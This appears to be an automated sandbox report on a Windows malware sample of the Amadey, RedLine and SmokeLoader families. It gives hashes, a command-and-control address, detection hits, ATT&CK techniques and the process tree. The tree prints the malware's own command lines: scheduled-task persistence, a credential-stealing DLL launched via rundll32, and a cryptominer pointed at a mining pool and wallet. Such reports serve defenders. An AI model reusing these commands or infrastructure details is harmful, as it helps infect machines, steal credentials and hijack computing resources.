amadey | 0067fcb3e4fb85b0e8acfb09157dc7465c521e8f36328b3290b7bfb5ab18e39b

Analysis

max time kernel
123s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
11/11/2022, 01:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 372KB
Sample221111-cbjlfsgbc7
SHA256 0067fcb3e4fb85b0e8acfb09157dc7465c521e8f36328b3290b7bfb5ab18e39b
MD5 0bc78773a30f54f156ab257655fafee7
SHA1 a6715bcbfa8dedaa5d9dbfa333b9937582a5ff37
SHA512 34cd3eeb9fa643765a9249aa169985d60ca2350e5c2b4c9fdbef6a77d6fa6aa32d1fe910a12019a4f4f3a59ff3f1d74a26f13888866265c2f3e765851b0b5722
SSDEEP 6144:mQi3ewLGLZJDXYJ3g/oFj/C124+XBZXwOu1ql:mQKqLZJLiBj/CAfUql
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey redline smokeloader google2 backdoor collection discovery infostealer spyware stealer trojan upx

Malware Config

Extracted

Family

redline

Botnet

Google2

167.235.71.14:20469

Attributes

auth_value
fb274d9691235ba015830da570a13578

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect Amadey credential stealer module 2 IoCs

resource	yara_rule
behavioral2/files/0x0004000000021834-269.dat	amadey_cred_module
behavioral2/files/0x0004000000021834-270.dat	amadey_cred_module

Detects Smokeloader packer 1 IoCs

resource	yara_rule
behavioral2/memory/4828-133-0x00000000009B0000-0x00000000009B9000-memory.dmp	family_smokeloader

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/memory/3164-199-0x00000000001F0000-0x00000000002A1000-memory.dmp	family_redline
behavioral2/memory/1892-201-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
51	3376	rundll32.exe

Downloads MZ/PE file

Executes dropped EXE 11 IoCs

pid	Process
4476	1B39.exe
1180	3692.exe
4844	3981.exe
3164	43F1.exe
3052	rovwer.exe
4276	4951.exe
4360	EAEHCHcAAKSescACHUHCAAHKhACsKfCeCHhFCAHFAEehaheeHsAKhuh.exe
1284	53B3.exe
4148	LYKAA.exe
2412	rovwer.exe
4048	rovwer.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4472-185-0x0000000000400000-0x0000000000BEB000-memory.dmp	upx
behavioral2/memory/4472-183-0x0000000000400000-0x0000000000BEB000-memory.dmp	upx
behavioral2/memory/4472-186-0x0000000000400000-0x0000000000BEB000-memory.dmp	upx
behavioral2/memory/4472-187-0x0000000000400000-0x0000000000BEB000-memory.dmp	upx
behavioral2/memory/4472-192-0x0000000000400000-0x0000000000BEB000-memory.dmp	upx

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	3981.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	4951.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	rovwer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	LYKAA.exe

Loads dropped DLL 1 IoCs

pid	Process
3376	rundll32.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1284 set thread context of 4472	1284	53B3.exe	101
PID 3164 set thread context of 1892	3164	43F1.exe	107
PID 4148 set thread context of 1496	4148	LYKAA.exe	129

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
2368	4844	WerFault.exe	90
4020	3164	WerFault.exe	92
4816	4476	WerFault.exe	87
3780	1180	WerFault.exe	89
2528	2412	WerFault.exe	120

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1100	schtasks.exe
4440	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1228	timeout.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	41	Go-http-client/1.1

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4828	file.exe
4828	file.exe
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3064	Process not Found

Suspicious behavior: MapViewOfSection 19 IoCs

pid	Process
4828	file.exe
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found
3064	Process not Found

Suspicious use of AdjustPrivilegeToken 63 IoCs

description	pid	Process
Token: SeDebugPrivilege	4476	1B39.exe
Token: SeDebugPrivilege	1180	3692.exe
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeDebugPrivilege	4360	EAEHCHcAAKSescACHUHCAAHKhACsKfCeCHhFCAHFAEehaheeHsAKhuh.exe
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeDebugPrivilege	4148	LYKAA.exe
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeDebugPrivilege	1892	vbc.exe
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found
Token: SeShutdownPrivilege	3064	Process not Found
Token: SeCreatePagefilePrivilege	3064	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 4476	3064	Process not Found	87
PID 3064 wrote to memory of 4476	3064	Process not Found	87
PID 3064 wrote to memory of 4476	3064	Process not Found	87
PID 3064 wrote to memory of 1180	3064	Process not Found	89
PID 3064 wrote to memory of 1180	3064	Process not Found	89
PID 3064 wrote to memory of 1180	3064	Process not Found	89
PID 3064 wrote to memory of 4844	3064	Process not Found	90
PID 3064 wrote to memory of 4844	3064	Process not Found	90
PID 3064 wrote to memory of 4844	3064	Process not Found	90
PID 3064 wrote to memory of 3164	3064	Process not Found	92
PID 3064 wrote to memory of 3164	3064	Process not Found	92
PID 3064 wrote to memory of 3164	3064	Process not Found	92
PID 4844 wrote to memory of 3052	4844	3981.exe	91
PID 4844 wrote to memory of 3052	4844	3981.exe	91
PID 4844 wrote to memory of 3052	4844	3981.exe	91
PID 3064 wrote to memory of 4276	3064	Process not Found	97
PID 3064 wrote to memory of 4276	3064	Process not Found	97
PID 4276 wrote to memory of 4360	4276	4951.exe	98
PID 4276 wrote to memory of 4360	4276	4951.exe	98
PID 3052 wrote to memory of 1100	3052	rovwer.exe	99
PID 3052 wrote to memory of 1100	3052	rovwer.exe	99
PID 3052 wrote to memory of 1100	3052	rovwer.exe	99
PID 3064 wrote to memory of 1284	3064	Process not Found	102
PID 3064 wrote to memory of 1284	3064	Process not Found	102
PID 1284 wrote to memory of 4472	1284	53B3.exe	101
PID 1284 wrote to memory of 4472	1284	53B3.exe	101
PID 1284 wrote to memory of 4472	1284	53B3.exe	101
PID 1284 wrote to memory of 4472	1284	53B3.exe	101
PID 1284 wrote to memory of 4472	1284	53B3.exe	101
PID 1284 wrote to memory of 4472	1284	53B3.exe	101
PID 1284 wrote to memory of 4472	1284	53B3.exe	101
PID 4360 wrote to memory of 1472	4360	EAEHCHcAAKSescACHUHCAAHKhACsKfCeCHhFCAHFAEehaheeHsAKhuh.exe	103
PID 4360 wrote to memory of 1472	4360	EAEHCHcAAKSescACHUHCAAHKhACsKfCeCHhFCAHFAEehaheeHsAKhuh.exe	103
PID 1472 wrote to memory of 1228	1472	cmd.exe	105
PID 1472 wrote to memory of 1228	1472	cmd.exe	105
PID 3064 wrote to memory of 4592	3064	Process not Found	106
PID 3064 wrote to memory of 4592	3064	Process not Found	106
PID 3064 wrote to memory of 4592	3064	Process not Found	106
PID 3064 wrote to memory of 4592	3064	Process not Found	106
PID 3164 wrote to memory of 1892	3164	43F1.exe	107
PID 3164 wrote to memory of 1892	3164	43F1.exe	107
PID 3164 wrote to memory of 1892	3164	43F1.exe	107
PID 3164 wrote to memory of 1892	3164	43F1.exe	107
PID 3164 wrote to memory of 1892	3164	43F1.exe	107
PID 1472 wrote to memory of 4148	1472	cmd.exe	108
PID 1472 wrote to memory of 4148	1472	cmd.exe	108
PID 3064 wrote to memory of 2752	3064	Process not Found	110
PID 3064 wrote to memory of 2752	3064	Process not Found	110
PID 3064 wrote to memory of 2752	3064	Process not Found	110
PID 3064 wrote to memory of 4052	3064	Process not Found	112
PID 3064 wrote to memory of 4052	3064	Process not Found	112
PID 3064 wrote to memory of 4052	3064	Process not Found	112
PID 3064 wrote to memory of 4052	3064	Process not Found	112
PID 4148 wrote to memory of 4224	4148	LYKAA.exe	113
PID 4148 wrote to memory of 4224	4148	LYKAA.exe	113
PID 3064 wrote to memory of 1356	3064	Process not Found	115
PID 3064 wrote to memory of 1356	3064	Process not Found	115
PID 3064 wrote to memory of 1356	3064	Process not Found	115
PID 4224 wrote to memory of 4440	4224	cmd.exe	116
PID 4224 wrote to memory of 4440	4224	cmd.exe	116
PID 3064 wrote to memory of 4536	3064	Process not Found	117
PID 3064 wrote to memory of 4536	3064	Process not Found	117
PID 3064 wrote to memory of 4536	3064	Process not Found	117
PID 3064 wrote to memory of 4536	3064	Process not Found	117

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4828

C:\Users\Admin\AppData\Local\Temp\1B39.exe
C:\Users\Admin\AppData\Local\Temp\1B39.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4476
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4476 -s 1240
  2⤵
  - Program crash
  PID:4816

C:\Users\Admin\AppData\Local\Temp\3692.exe
C:\Users\Admin\AppData\Local\Temp\3692.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1180
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 1236
  2⤵
  - Program crash
  PID:3780

C:\Users\Admin\AppData\Local\Temp\3981.exe
C:\Users\Admin\AppData\Local\Temp\3981.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4844
- C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
  "C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rovwer.exe /TR "C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1100
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\80b59841e5c623\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - outlook_win_path
    PID:3376
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 876
  2⤵
  - Program crash
  PID:2368

C:\Users\Admin\AppData\Local\Temp\43F1.exe
C:\Users\Admin\AppData\Local\Temp\43F1.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3164
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1892
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 288
  2⤵
  - Program crash
  PID:4020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4844 -ip 4844
1⤵
PID:4728

C:\Users\Admin\AppData\Local\Temp\4951.exe
C:\Users\Admin\AppData\Local\Temp\4951.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4276
- C:\Users\Admin\AppData\Roaming\EAEHCHcAAKSescACHUHCAAHKhACsKfCeCHhFCAHFAEehaheeHsAKhuh.exe
  "C:\Users\Admin\AppData\Roaming\EAEHCHcAAKSescACHUHCAAHKhACsKfCeCHhFCAHFAEehaheeHsAKhuh.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5709.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1472
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:1228
  - - C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
      "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4148
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4224
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:4440
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.installs001 -p x -t 6
        5⤵
        
        PID:1496
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:1424

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
1⤵
PID:4472

C:\Users\Admin\AppData\Local\Temp\53B3.exe
C:\Users\Admin\AppData\Local\Temp\53B3.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1284

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3164 -ip 3164
1⤵
PID:4128

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2752

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4052

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1356

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4536

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1704

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3568

C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
1⤵
- Executes dropped EXE
PID:2412
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2412 -s 420
  2⤵
  - Program crash
  PID:2528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4476 -ip 4476
1⤵
PID:4144

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4912

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1180 -ip 1180
1⤵
PID:2368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2412 -ip 2412
1⤵
PID:1208

C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
C:\Users\Admin\AppData\Local\Temp\e94c2b28f2\rovwer.exe
1⤵
- Executes dropped EXE
PID:4048

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LYKAA.exe

Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
Size 836KB
SHA256 b0319fee29612b6f40ee9a9368cc23273c233547d9b1aa3bb551f8b57496ceb9
MD5 edb6463d39eb1305c07400d169a40eba
SHA1 456f4da4c204f7dd77af1834275213f663128e11
SHA512 ab03697252ef332f4c8373bc47e3584302b58d3b314cecf9f9f39b3bbc7b1771080671185c4d29d57b1cfcc605afe70132ece7667d638a64096853e6d7c72306
SSDEEP 6144:HgGv6iCpWAVXJmr7DbuoPv/yQzts/2PCKuGOlC6J07BkzTSckPo924m3U2G4zJrZ:PH+roH/y+tU2h20zcm42Kkgkv0G
MD5 SHA1 SHA512 SSDEEP

Submit Download

LYKAA.exe

Path C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
Size 836KB
SHA256 b0319fee29612b6f40ee9a9368cc23273c233547d9b1aa3bb551f8b57496ceb9
MD5 edb6463d39eb1305c07400d169a40eba
SHA1 456f4da4c204f7dd77af1834275213f663128e11
SHA512 ab03697252ef332f4c8373bc47e3584302b58d3b314cecf9f9f39b3bbc7b1771080671185c4d29d57b1cfcc605afe70132ece7667d638a64096853e6d7c72306
SSDEEP 6144:HgGv6iCpWAVXJmr7DbuoPv/yQzts/2PCKuGOlC6J07BkzTSckPo924m3U2G4zJrZ:PH+roH/y+tU2h20zcm42Kkgkv0G
MD5 SHA1 SHA512 SSDEEP

Submit Download

1B39.exe

Path C:\Users\Admin\AppData\Local\Temp\1B39.exe
Size 339KB
SHA256 5b6429f38ac48a93050ffdaea60282c3b30f278534200ada99363398102cbe55
MD5 2e13eb39c176ac29f7794d9770e3c1f4
SHA1 f4b098f12e41560242e6f5d9975b9c6187d26866
SHA512 21817d4f56e58a593c110e00958fbb9899a1c643c0864e726c462c694c000f4152cdb501bcdddb70a17b0fd72a1d8f46537e20a71e907b8db67dffd04492202d
SSDEEP 6144:0gwLQDRa/0NoaSGD3vBsGuK0wKLR6ok5OcBy1jjD:0/SRaEp50KzKLR6il
MD5 SHA1 SHA512 SSDEEP

Submit Download

1B39.exe

Path C:\Users\Admin\AppData\Local\Temp\1B39.exe
Size 339KB
SHA256 5b6429f38ac48a93050ffdaea60282c3b30f278534200ada99363398102cbe55
MD5 2e13eb39c176ac29f7794d9770e3c1f4
SHA1 f4b098f12e41560242e6f5d9975b9c6187d26866
SHA512 21817d4f56e58a593c110e00958fbb9899a1c643c0864e726c462c694c000f4152cdb501bcdddb70a17b0fd72a1d8f46537e20a71e907b8db67dffd04492202d
SSDEEP 6144:0gwLQDRa/0NoaSGD3vBsGuK0wKLR6ok5OcBy1jjD:0/SRaEp50KzKLR6il
MD5 SHA1 SHA512 SSDEEP

Submit Download

3692.exe

Path C:\Users\Admin\AppData\Local\Temp\3692.exe
Size 339KB
SHA256 5b6429f38ac48a93050ffdaea60282c3b30f278534200ada99363398102cbe55
MD5 2e13eb39c176ac29f7794d9770e3c1f4
SHA1 f4b098f12e41560242e6f5d9975b9c6187d26866
SHA512 21817d4f56e58a593c110e00958fbb9899a1c643c0864e726c462c694c000f4152cdb501bcdddb70a17b0fd72a1d8f46537e20a71e907b8db67dffd04492202d
SSDEEP 6144:0gwLQDRa/0NoaSGD3vBsGuK0wKLR6ok5OcBy1jjD:0/SRaEp50KzKLR6il
MD5 SHA1 SHA512 SSDEEP

Submit Download

3692.exe

Path C:\Users\Admin\AppData\Local\Temp\3692.exe
Size 339KB
SHA256 5b6429f38ac48a93050ffdaea60282c3b30f278534200ada99363398102cbe55
MD5 2e13eb39c176ac29f7794d9770e3c1f4
SHA1 f4b098f12e41560242e6f5d9975b9c6187d26866
SHA512 21817d4f56e58a593c110e00958fbb9899a1c643c0864e726c462c694c000f4152cdb501bcdddb70a17b0fd72a1d8f46537e20a71e907b8db67dffd04492202d
SSDEEP 6144:0gwLQDRa/0NoaSGD3vBsGuK0wKLR6ok5OcBy1jjD:0/SRaEp50KzKLR6il
MD5 SHA1 SHA512 SSDEEP

Submit Download

3981.exe

Path C:\Users\Admin\AppData\Local\Temp\3981.exe
Size 410KB
SHA256 59e511d954f56d75509cecc7b6b18d9d93ce921b40c4b293c9548e12bf1600b2
MD5 0b7aee99ad817b15f0a856b26fcbf789
SHA1 9f0c92516944cef31ff2c9dd9aa7d302e3ee4651
SHA512 5d1cb5d9fcdb7f9452d97fb650a18d7fdef9a8df3a5dea3ddb24289a6e9860b048a581ad5f20d1880094c1661ea50c0606a347ebeae0c017409270d80b6aece5
SSDEEP 6144:qkbTGB/L+Z7JDZFQwoEGOwPZS68EKk2Ghdn77MAMa3C/wKXwOu1ql:qkG/yZ7JwIG9PdXnh+AM3RUql
MD5 SHA1 SHA512 SSDEEP

Submit Download

3981.exe

Path C:\Users\Admin\AppData\Local\Temp\3981.exe
Size 410KB
SHA256 59e511d954f56d75509cecc7b6b18d9d93ce921b40c4b293c9548e12bf1600b2
MD5 0b7aee99ad817b15f0a856b26fcbf789
SHA1 9f0c92516944cef31ff2c9dd9aa7d302e3ee4651
SHA512 5d1cb5d9fcdb7f9452d97fb650a18d7fdef9a8df3a5dea3ddb24289a6e9860b048a581ad5f20d1880094c1661ea50c0606a347ebeae0c017409270d80b6aece5
SSDEEP 6144:qkbTGB/L+Z7JDZFQwoEGOwPZS68EKk2Ghdn77MAMa3C/wKXwOu1ql:qkG/yZ7JwIG9PdXnh+AM3RUql
MD5 SHA1 SHA512 SSDEEP

Submit Download

43F1.exe

Path C:\Users\Admin\AppData\Local\Temp\43F1.exe
Size 695KB
SHA256 00c82e3217c107a3ae691fca5fb625563537daeac130504b6e5c12b6be605741
MD5 c5caf031060a1b58100250bd6d10c952
SHA1 497058834fe45cca83524c7e4b8574b7691ea065
SHA512 c6b92134509cfa1b91f5ed61b2785b6be255066cdc51ac01af531d1bf64f41f724bbc4710541609645c7ffcde5edc14d4c9ee97da1d94f787056683fd95f05bf
SSDEEP 12288:xfG4J68IKAIAPA+w2Cf/tUdCEiGKI/HQPU+qW2Y0ZuXXLz5I87X3r2ophXsXyTZu:xfG4Q8IKAIAlIEiGK+HQPU+v0CzxX7N+
MD5 SHA1 SHA512 SSDEEP

Submit Download

43F1.exe

Path C:\Users\Admin\AppData\Local\Temp\43F1.exe
Size 695KB
